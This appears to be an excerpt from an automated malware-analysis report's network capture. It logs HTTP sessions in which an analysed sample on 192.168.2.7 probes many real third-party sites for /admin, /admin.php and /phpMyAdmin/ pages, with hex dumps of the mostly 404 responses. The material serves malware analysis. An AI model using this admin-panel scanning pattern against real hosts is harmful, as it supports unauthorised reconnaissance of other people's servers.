Dec 2, 2023 18:04:43.459862947 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:31 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:43.459873915 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	60937	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.147125006 CET	218	OUT	GET /admin HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.488152027 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:42 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	61786	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.371114969 CET	232	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.605477095 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Set-Cookie: vsid=931vr44908228349665643; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_D+hMVjtLOYI7kaTY8rbj7/RdwGME6Fen4hjK6qjo5pMDKkqW1BKDnEOc1+FoiKYppA2tuwjy5yDFsnFfWhwRMw== Content-Length: 2593 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 44 2b 68 4d 56 6a 74 4c 4f 59 49 37 6b 61 54 59 38 72 62 6a 37 2f 52 64 77 47 4d 45 36 46 65 6e 34 68 6a 4b 36 71 6a 6f 35 70 4d 44 4b 6b 71 57 31 42 4b 44 6e 45 4f 63 31 2b 46 6f 69 4b 59 70 70 41 32 74 75 77 6a 79 35 79 44 46 73 6e 46 66 57 68 77 52 4d 77 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_D+hMVjtLOYI7kaTY8rbj7/RdwGME6Fen4hjK6qjo5pMDKkqW1BKDnEOc1+FoiKYppA2tuwjy5yDFsnFfWhwRMw=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=1"></script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.php
Dec 2, 2023 18:04:43.605489969 CET	1274	IN	Data Raw: 3f 61 3d 54 56 59 35 55 30 35 31 59 6b 31 79 4e 55 78 6b 53 45 5a 43 65 58 52 61 4c 30 6b 7a 54 57 39 68 56 57 52 30 62 44 67 72 4d 6a 5a 6b 55 6e 51 78 59 30 38 33 59 56 70 74 62 48 4e 42 53 79 39 6e 5a 6b 70 6e 65 55 4e 6b 51 6a 56 75 54 6a 42 Data Ascii: ?a=TVY5U051Yk1yNUxkSEZCeXRaL0kzTW9hVWR0bDgrMjZkUnQxY083YVptbHNBSy9nZkpneUNkQjVuTjBjYlYrMTFlVnlONUpUSUFaYk9mdFlEMDN6MDdVZHo1TUFRRlYwcXZEaEFkZmpIaXppTnlkS3BJZnRqUHVoMDV6THdMdCs=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "u
Dec 2, 2023 18:04:43.605501890 CET	718	IN	Data Raw: 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 Data Ascii: xt/javascript" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolution
Dec 2, 2023 18:04:43.701116085 CET	718	IN	Data Raw: 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 Data Ascii: xt/javascript" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolution

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	61244	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.712145090 CET	218	OUT	GET /admin HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.055985928 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:43 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	61358	46.254.37.204	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.712510109 CET	232	OUT	GET /admin.php HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.916136980 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	61362	46.254.37.204	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.712603092 CET	232	OUT	GET /admin.php HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.916105032 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	61369	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.712723017 CET	222	OUT	GET /admin.php HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
